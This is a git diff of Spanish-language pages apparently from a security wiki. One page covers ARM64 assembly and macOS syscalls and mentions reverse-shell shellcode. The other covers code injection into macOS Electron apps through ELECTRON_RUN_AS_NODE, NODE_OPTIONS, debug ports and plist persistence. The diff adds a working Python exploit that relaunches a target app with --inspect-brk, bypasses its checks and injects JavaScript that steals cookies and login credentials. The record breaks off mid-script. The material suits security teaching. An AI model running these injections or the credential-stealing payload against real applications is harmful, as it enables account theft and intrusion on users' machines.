dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro. @@ -143,7 +143,7 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **Desplazamiento lógico a la izquierda**: Agrega 0s desde el final moviendo los otros bits hacia adelante (multiplica por n veces 2). - **Desplazamiento lógico a la derecha**: Agrega 1s al principio moviendo los otros bits hacia atrás (divide por n veces 2 en sin signo). -- **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s, si el bit más significativo es un 1, se agregan 1s (divide por n veces 2 en con signo). +- **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s si el bit más significativo es un 1, se **agregan 1s** (divide por n veces 2 en con signo). - **Rotar a la derecha**: Como **`lsr`** pero lo que se elimina de la derecha se agrega a la izquierda. - **Rotar a la derecha con extensión**: Como **`ror`**, pero con la bandera de acarreo como el "bit más significativo". Así que la bandera de acarreo se mueve al bit 31 y el bit eliminado a la bandera de acarreo. - **`bfm`**: **Movimiento de Campo de Bits**, estas operaciones **copian bits `0...n`** de un valor y los colocan en posiciones **`m..m+n`**. El **`#s`** especifica la **posición del bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**. @@ -155,40 +155,40 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2 - **`BFXIL X1, X2, #3, #4`** Extrae desde el tercer bit de X2 cuatro bits y los copia a X1. - **`SBFIZ X1, X2, #3, #4`** Extiende el signo de 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha. - **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, extiende el signo y coloca el resultado en X1. -- **`UBFIZ X1, X2, #3, #4`** Extiende a cero 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha. +- **`UBFIZ X1, X2, #3, #4`** Extiende 0s de 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha. - **`UBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2 y coloca el resultado extendido a cero en X1. - **Extender Signo a X:** Extiende el signo (o simplemente agrega 0s en la versión sin signo) de un valor para poder realizar operaciones con él: - **`SXTB X1, W2`** Extiende el signo de un byte **de W2 a X1** (`W2` es la mitad de `X2`) para llenar los 64 bits. - **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **de W2 a X1** para llenar los 64 bits. - **`SXTW X1, W2`** Extiende el signo de un byte **de W2 a X1** para llenar los 64 bits. - **`UXTB X1, W2`** Agrega 0s (sin signo) a un byte **de W2 a X1** para llenar los 64 bits. -- **`extr`:** Extrae bits de un **par de registros especificados concatenados**. +- **`extr`:** Extrae bits de un **par de registros concatenados** especificados. - Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatena W1+W2** y obtiene **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacena en W3. - **`cmp`**: **Comparar** dos registros y establecer banderas de condición. Es un **alias de `subs`** estableciendo el registro de destino en el registro cero. Útil para saber si `m == n`. - Soporta la **misma sintaxis que `subs`**. - Ejemplo: `cmp x0, x1` — Esto compara los valores en `x0` y `x1` y establece las banderas de condición en consecuencia. -- **`cmn`**: **Comparar el operando negativo**. En este caso, es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`. +- **`cmn`**: **Comparar** el operando negativo. En este caso, es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`. - **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación anterior fue verdadera y establecerá específicamente los bits nzcv. - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, salta a func. - Esto se debe a que **`ccmp`** solo se ejecutará si la **anterior `cmp` fue un `NE`**, si no lo fue, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`). -- Esto también se puede usar como `ccmn` (lo mismo pero negativo, como `cmp` vs `cmn`). -- **`tst`**: Verifica si alguno de los valores de la comparación son ambos 1 (funciona como un AND sin almacenar el resultado en ningún lado). Es útil para verificar un registro con un valor y comprobar si alguno de los bits del registro indicado en el valor es 1. +- Esto también puede usarse como `ccmn` (lo mismo pero negativo, como `cmp` vs `cmn`). +- **`tst`**: Verifica si alguno de los valores de la comparación son ambos 1 (funciona como un ANDS sin almacenar el resultado en ningún lado). Es útil para verificar un registro con un valor y comprobar si alguno de los bits del registro indicado en el valor es 1. - Ejemplo: `tst X1, #7` Verifica si alguno de los últimos 3 bits de X1 es 1. - **`teq`**: Operación XOR descartando el resultado. - **`b`**: Salto incondicional. - Ejemplo: `b myFunction`. - Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar). -- **`bl`**: **Salto** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**. +- **`bl`**: **Branch** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**. - Ejemplo: `bl myFunction` — Esto llama a la función `myFunction` y almacena la dirección de retorno en `x30`. - Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar). -- **`blr`**: **Salto** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. +- **`blr`**: **Branch** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. - Ejemplo: `blr x1` — Esto llama a la función cuya dirección está contenida en `x1` y almacena la dirección de retorno en `x30`. - **`ret`**: **Retornar** de **subrutina**, típicamente usando la dirección en **`x30`**. - Ejemplo: `ret` — Esto retorna de la subrutina actual usando la dirección de retorno en `x30`. - **`b.`**: Saltos condicionales. -- **`b.eq`**: **Salto si es igual**, basado en la instrucción `cmp` anterior. +- **`b.eq`**: **Branch si es igual**, basado en la instrucción `cmp` anterior. - Ejemplo: `b.eq label` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `label`. -- **`b.ne`**: **Salto si no es igual**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no eran iguales, salta a una etiqueta o dirección. +- **`b.ne`**: **Branch si no es igual**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no eran iguales, salta a una etiqueta o dirección. - Ejemplo: Después de una instrucción `cmp x0, x1`, `b.ne label` — Si los valores en `x0` y `x1` no eran iguales, esto salta a `label`. - **`cbz`**: **Comparar y saltar si es cero**. Esta instrucción compara un registro con cero, y si son iguales, salta a una etiqueta o dirección. - Ejemplo: `cbz x0, label` — Si el valor en `x0` es cero, esto salta a `label`. @@ -210,11 +210,11 @@ Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2 - `csetm Xd, Xn, Xm, cond` -> Si es verdadero, Xd = \, si es falso, Xd = 0. - **`adrp`**: Calcular la **dirección de página de un símbolo** y almacenarla en un registro. - Ejemplo: `adrp x0, symbol` — Esto calcula la dirección de página de `symbol` y la almacena en `x0`. -- **`ldrsw`**: **Cargar** un valor **firmado de 32 bits** de la memoria y **extenderlo a 64** bits. -- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor firmado de 32 bits de la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`. +- **`ldrsw`**: **Cargar** un valor **de 32 bits** con signo de la memoria y **extenderlo a 64** bits. +- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor de 32 bits con signo de la ubicación de memoria apuntada por `x1`, lo extiende a 64 bits y lo almacena en `x0`. - **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, utilizando un desplazamiento de otro registro. - Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que es 4 bytes mayor que la dirección actualmente en `x1`. -- **`svc`** : Realizar una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo usuario a modo núcleo** y salta a una ubicación específica en memoria donde se encuentra el **código de manejo de llamadas al sistema del núcleo**. +- **`svc`** : Realizar una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo de usuario a modo núcleo** y salta a una ubicación específica en memoria donde se encuentra el **código de manejo de llamadas al sistema del núcleo**. - Ejemplo: @@ -244,12 +244,12 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th ## Estado de Ejecución AARCH32 -Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`** y puede cambiar entre ellos a través de **`interworking`**.\ -Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** al ejecutar una transferencia de nivel de excepción al de 32 bits de menor privilegio.\ -Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 activando un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena el CPSR de los programas **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`** ingresando en A32 o T32 dependiendo de CPSR\*\*.\*\* +Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`** y puede alternar entre ellos a través de **`interworking`**.\ +Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** al ejecutar una transferencia de nivel de excepción al nivel de 32 bits de menor privilegio.\ +Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 que activa un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena el CPSR de los programas **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`** ingresando en A32 o T32 dependiendo del CPSR**.** -El **`interworking`** ocurre utilizando los bits J y T de CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Esto se traduce básicamente en establecer el **bit más bajo a 1** para indicar que el conjunto de instrucciones es T32.\ -Esto se establece durante las **instrucciones de rama de interworking**, pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo: +El **`interworking`** ocurre utilizando los bits J y T del CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Esto se traduce básicamente en establecer el **bit más bajo a 1** para indicar que el conjunto de instrucciones es T32.\ +Esto se establece durante las **instrucciones de salto interworking**, pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo: Otro ejemplo: ```armasm @@ -272,7 +272,7 @@ Hay 16 registros de 32 bits (r0-r15). **Desde r0 hasta r14** se pueden usar para - **`r13`**: Puntero de pila - **`r14`**: Registro de enlace -Además, los registros se respaldan en **`registros bancados`**. Que son lugares que almacenan los valores de los registros permitiendo realizar **cambios de contexto rápidos** en el manejo de excepciones y operaciones privilegiadas para evitar la necesidad de guardar y restaurar manualmente los registros cada vez.\ +Además, los registros se respaldan en **`registros bancados`**. Estos son lugares que almacenan los valores de los registros permitiendo realizar **cambios de contexto rápidos** en el manejo de excepciones y operaciones privilegiadas para evitar la necesidad de guardar y restaurar manualmente los registros cada vez.\ Esto se hace **guardando el estado del procesador desde el `CPSR` al `SPSR`** del modo de procesador al que se toma la excepción. Al regresar de la excepción, el **`CPSR`** se restaura desde el **`SPSR`**. ### CPSR - Registro de Estado del Programa Actual @@ -299,25 +299,25 @@ La instrucción **`SEL`** utiliza estas banderas GE para realizar acciones condi #### Registros de Estado de Ejecución - Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32. -- **Registro de Estado del Bloque IT** (`ITSTATE`): Estos son los bits del 10-15 y 25-26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**. +- Registro de Estado del Bloque IT (`ITSTATE`): Estos son los bits del 10 al 15 y del 25 al 26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**. - Bit **`E`**: Indica el **endianness**. -- Bits de Modo y Máscara de Excepción (0-4): Determinan el estado de ejecución actual. El **quinto** indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta. +- Bits de Modo y Máscara de Excepción (0-4): Determinan el estado de ejecución actual. El **5to** indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta.
-- **`AIF`**: Ciertas excepciones pueden ser deshabilitadas usando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. El **`I`** configura para responder a **Solicitudes de Interrupción** (IRQ) de hardware externo. y el F está relacionado con **Solicitudes de Interrupción Rápida** (FIR). +- **`AIF`**: Ciertas excepciones pueden ser deshabilitadas usando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. La **`I`** configura para responder a **Solicitudes de Interrupción** (IRQ) de hardware externo. y la F está relacionada con **Solicitudes de Interrupción Rápida** (FIR). ## macOS -### Llamadas del sistema BSD +### Llamadas al sistema BSD -Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Las llamadas del sistema BSD tendrán **x16 > 0**. +Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Las llamadas al sistema BSD tendrán **x16 > 0**. ### Trampas de Mach Consulta en [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` y en [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) los prototipos. El número máximo de trampas de Mach es `MACH_TRAP_TABLE_COUNT` = 128. Las trampas de Mach tendrán **x16 < 0**, así que necesitas llamar a los números de la lista anterior con un **menos**: **`_kernelrpc_mach_vm_allocate_trap`** es **`-10`**. -También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para encontrar cómo llamar a estas (y BSD) llamadas del sistema: +También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para encontrar cómo llamar a estas (y BSD) llamadas al sistema: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -328,17 +328,17 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar Nota que **Ida** y **Ghidra** también pueden descompilar **dylibs específicas** de la caché simplemente pasando la caché. > [!TIP] -> A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** **que** revisar el **código fuente** porque el código de varias syscalls (BSD y Mach) se genera a través de scripts (revisa los comentarios en el código fuente) mientras que en la dylib puedes encontrar lo que se está llamando. +> A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** **que** revisar el **código fuente** porque el código de varias syscalls (BSD y Mach) se genera a través de scripts (ver comentarios en el código fuente) mientras que en la dylib puedes encontrar lo que se está llamando. ### llamadas machdep XNU soporta otro tipo de llamadas llamadas dependientes de la máquina. Los números de estas llamadas dependen de la arquitectura y ni las llamadas ni los números están garantizados para permanecer constantes. -### página comm +### página de comunicación Esta es una página de memoria del propietario del kernel que está mapeada en el espacio de direcciones de cada proceso de usuario. Está destinada a hacer la transición del modo usuario al espacio del kernel más rápida que usar syscalls para servicios del kernel que se utilizan tanto que esta transición sería muy ineficiente. -Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente de la página comm. +Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente de la página de comunicación. ### objc_msgSend @@ -350,7 +350,7 @@ Parámetros ([más información en la documentación](https://developer.apple.co - x1: op -> Selector del método - x2... -> Resto de los argumentos del método invocado -Así que, si pones un breakpoint antes de la rama a esta función, puedes encontrar fácilmente lo que se invoca en lldb con (en este ejemplo el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando): +Así que, si pones un punto de interrupción antes de la rama a esta función, puedes encontrar fácilmente lo que se invoca en lldb con (en este ejemplo el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -389,7 +389,7 @@ Cuando se llama a esta función, es necesario encontrar el método llamado de la - Intentar lista de métodos de la superclase: - Si se encuentra, llenar caché y hecho - Si (resolver) intentar resolver método, y repetir desde la búsqueda de clase -- Si aún está aquí (= todo lo demás ha fallado) intentar reenvío +- Si aún está aquí (= todo lo demás ha fallado) intentar forwarder ### Shellcodes @@ -408,7 +408,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Para macOS más reciente: +Para macOS más recientes: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -693,7 +693,7 @@ mov x2, xzr mov x16, #59 svc #0x1337 ``` -#### Shell inversa +#### Reverse shell Desde [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell a **127.0.0.1:4444** ```armasm diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index b71267934..4e81efc42 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -9,7 +9,7 @@ Y node tiene algunos **parámetros** y **variables de entorno** que se pueden us ### Fusibles de Electron -Estas técnicas se discutirán a continuación, pero en tiempos recientes Electron ha añadido varios **flags de seguridad para prevenirlos**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y estos son los que se utilizan para **prevenir** que las aplicaciones Electron en macOS **carguen código arbitrario**: +Estas técnicas se discutirán a continuación, pero en tiempos recientes Electron ha añadido varios **flags de seguridad para prevenirlos**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y son los que se utilizan para **prevenir** que las aplicaciones de Electron en macOS **carguen código arbitrario**: - **`RunAsNode`**: Si está deshabilitado, impide el uso de la variable de entorno **`ELECTRON_RUN_AS_NODE`** para inyectar código. - **`EnableNodeCliInspectArguments`**: Si está deshabilitado, parámetros como `--inspect`, `--inspect-brk` no serán respetados. Evitando así la forma de inyectar código. @@ -17,9 +17,9 @@ Estas técnicas se discutirán a continuación, pero en tiempos recientes Electr - **`OnlyLoadAppFromAsar`**: Si esto está habilitado, en lugar de buscar cargar en el siguiente orden: **`app.asar`**, **`app`** y finalmente **`default_app.asar`**. Solo verificará y usará app.asar, asegurando así que cuando se **combine** con el fusible **`embeddedAsarIntegrityValidation`** sea **imposible** **cargar código no validado**. - **`LoadBrowserProcessSpecificV8Snapshot`**: Si está habilitado, el proceso del navegador utiliza el archivo llamado `browser_v8_context_snapshot.bin` para su instantánea V8. -Otro fusible interesante que no impedirá la inyección de código es: +Otro fusible interesante que no estará previniendo la inyección de código es: -- **EnableCookieEncryption**: Si está habilitado, el almacenamiento de cookies en disco está cifrado utilizando claves criptográficas a nivel de OS. +- **EnableCookieEncryption**: Si está habilitado, el almacenamiento de cookies en disco está cifrado utilizando claves criptográficas a nivel de SO. ### Comprobando los Fusibles de Electron @@ -39,7 +39,7 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled ``` ### Modificando los Fuses de Electron -Como mencionan los [**docs**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fuses de Electron** se encuentra dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. +Como mencionan los [**docs**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fuses de Electron** está configurada dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. En las aplicaciones de macOS, esto se encuentra típicamente en `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash @@ -50,7 +50,7 @@ Podrías cargar este archivo en [https://hexed.it/](https://hexed.it/) y buscar
-Ten en cuenta que si intentas **sobrescribir** el **binario de `Electron Framework`** dentro de una aplicación con estos bytes modificados, la aplicación no se ejecutará. +Ten en cuenta que si intentas **sobrescribir** el **`Electron Framework` binario** dentro de una aplicación con estos bytes modificados, la aplicación no se ejecutará. ## RCE añadiendo código a aplicaciones Electron @@ -62,7 +62,7 @@ Podría haber **archivos JS/HTML externos** que una aplicación Electron esté u > - Se necesita el permiso **`kTCCServiceSystemPolicyAppBundles`** para modificar una aplicación, por lo que por defecto esto ya no es posible. > - El archivo compilado **`asap`** generalmente tiene los fusibles **`embeddedAsarIntegrityValidation`** `y` **`onlyLoadAppFromAsar`** `habilitados` > -> Haciendo que esta ruta de ataque sea más complicada (o imposible). +> Haciendo que este camino de ataque sea más complicado (o imposible). Ten en cuenta que es posible eludir el requisito de **`kTCCServiceSystemPolicyAppBundles`** copiando la aplicación a otro directorio (como **`/tmp`**), renombrando la carpeta **`app.app/Contents`** a **`app.app/NotCon`**, **modificando** el archivo **asar** con tu código **malicioso**, renombrándolo de nuevo a **`app.app/Contents`** y ejecutándolo. @@ -74,7 +74,7 @@ Y empaquétalo de nuevo después de haberlo modificado con: ```bash npx asar pack app-decomp app-new.asar ``` -## RCE con `ELECTRON_RUN_AS_NODE` +## RCE con ELECTRON_RUN_AS_NODE Según [**la documentación**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), si esta variable de entorno está configurada, iniciará el proceso como un proceso normal de Node.js. ```bash @@ -84,9 +84,9 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> Si el fuse **`RunAsNode`** está deshabilitado, la variable de entorno **`ELECTRON_RUN_AS_NODE`** será ignorada, y esto no funcionará. +> Si el fuse **`RunAsNode`** está deshabilitado, la variable de entorno **`ELECTRON_RUN_AS_NODE`** será ignorada y esto no funcionará. -### Inyección desde el Plist de la Aplicación +### Inyección desde el Plist de la App Como [**se propone aquí**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), podrías abusar de esta variable de entorno en un plist para mantener la persistencia: ```xml @@ -114,7 +114,7 @@ Como [**se propone aquí**](https://www.trustedsec.com/blog/macos-injection-via- ``` ## RCE con `NODE_OPTIONS` -Puedes almacenar la carga útil en un archivo diferente y ejecutarlo: +Puedes almacenar la carga útil en un archivo diferente y ejecutarla: ```bash # Content of /tmp/payload.js require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator'); @@ -129,7 +129,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di ### Inyección desde el Plist de la Aplicación -Podrías abusar de esta variable de entorno en un plist para mantener la persistencia añadiendo estas claves: +Podrías abusar de esta variable de entorno en un plist para mantener persistencia añadiendo estas claves: ```xml EnvironmentVariables @@ -147,19 +147,227 @@ Podrías abusar de esta variable de entorno en un plist para mantener la persist ``` ## RCE con inspección -Según [**esto**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), si ejecutas una aplicación Electron con flags como **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`**, se **abrirá un puerto de depuración** para que puedas conectarte a él (por ejemplo, desde Chrome en `chrome://inspect`) y podrás **inyectar código en él** o incluso lanzar nuevos procesos.\ +Según [**esto**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), si ejecutas una aplicación de Electron con banderas como **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`**, se **abrirá un puerto de depuración** para que puedas conectarte a él (por ejemplo, desde Chrome en `chrome://inspect`) y podrás **inyectar código en él** o incluso lanzar nuevos procesos.\ Por ejemplo: ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` -> [!CAUTION] -> Si el fuse **`EnableNodeCliInspectArguments`** está deshabilitado, la aplicación **ignorará los parámetros de node** (como `--inspect`) al iniciarse, a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorada** si el fuse **`RunAsNode`** está deshabilitado. -> -> Sin embargo, aún puedes usar el **parámetro electron `--remote-debugging-port=9229`**, pero la carga útil anterior no funcionará para ejecutar otros procesos. +En [**este blog**](https://hackerone.com/reports/1274695), este depurador se abusa para hacer que un chrome sin cabeza **descargue archivos arbitrarios en ubicaciones arbitrarias**. -Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **descifradas** dentro del navegador y hay un **endpoint json** que las proporcionará). +> [!TIP] +> Si una aplicación tiene su propia forma de verificar si las variables de entorno o parámetros como `--inspect` están configurados, podrías intentar **eludir** esto en tiempo de ejecución usando el argumento `--inspect-brk`, que **detendrá la ejecución** al principio de la aplicación y ejecutará una elusión (sobrescribiendo los argumentos o las variables de entorno del proceso actual, por ejemplo). + +Lo siguiente fue un exploit que, al monitorear y ejecutar la aplicación con el parámetro `--inspect-brk`, fue posible eludir la protección personalizada que tenía (sobrescribiendo los parámetros del proceso para eliminar `--inspect-brk`) y luego inyectar una carga útil de JS para volcar cookies y credenciales de la aplicación: +```python +import asyncio +import websockets +import json +import requests +import os +import psutil +from time import sleep + +INSPECT_URL = None +CONT = 0 +CONTEXT_ID = None +NAME = None +UNIQUE_ID = None + +JS_PAYLOADS = """ +var { webContents } = require('electron'); +var fs = require('fs'); + +var wc = webContents.getAllWebContents()[0] + + +function writeToFile(filePath, content) { +const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2); + +fs.writeFile(filePath, data, (err) => { +if (err) { +console.error(`Error writing to file ${filePath}:`, err); +} else { +console.log(`File written successfully at ${filePath}`); +} +}); +} + +function get_cookies() { +intervalIdCookies = setInterval(() => { +console.log("Checking cookies..."); +wc.session.cookies.get({}) +.then((cookies) => { +tokenCookie = cookies.find(cookie => cookie.name === "token"); +if (tokenCookie){ +writeToFile("/tmp/cookies.txt", cookies); +clearInterval(intervalIdCookies); +wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`); +} +}) +}, 1000); +} + +function get_creds() { +in_location = false; +intervalIdCreds = setInterval(() => { +if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) { +in_location = true; +console.log("Injecting creds logger..."); +wc.executeJavaScript(` +(function() { +email = document.getElementById('login_email_id'); +password = document.getElementById('login_password_id'); +if (password && email) { +return email.value+":"+password.value; +} +})(); +`).then(result => { +writeToFile("/tmp/victim_credentials.txt", result); +}) +} +else if (in_location) { +wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`); +clearInterval(intervalIdCreds); +} +}, 10); // Check every 10ms +setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds +} + +get_cookies(); +get_creds(); +console.log("Payloads injected"); +""" + +async def get_debugger_url(): +""" +Fetch the local inspector's WebSocket URL from the JSON endpoint. +Assumes there's exactly one debug target. +""" +global INSPECT_URL + +url = "http://127.0.0.1:9229/json" +response = requests.get(url) +data = response.json() +if not data: +raise RuntimeError("No debug targets found on port 9229.") +# data[0] should contain an object with "webSocketDebuggerUrl" +ws_url = data[0].get("webSocketDebuggerUrl") +if not ws_url: +raise RuntimeError("webSocketDebuggerUrl not found in inspector data.") +INSPECT_URL = ws_url + + +async def monitor_victim(): +print("Monitoring victim process...") +found = False +while not found: +sleep(1) # Check every second +for process in psutil.process_iter(attrs=['pid', 'name']): +try: +# Check if the process name contains "victim" +if process.info['name'] and 'victim' in process.info['name']: +found = True +print(f"Found victim process (PID: {process.info['pid']}). Terminating...") +os.kill(process.info['pid'], 9) # Force kill the process +except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess): +# Handle processes that might have terminated or are inaccessible +pass +os.system("open /Applications/victim.app --args --inspect-brk") + +async def bypass_protections(): +global CONTEXT_ID, NAME, UNIQUE_ID +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] + +sleep(1) + +await 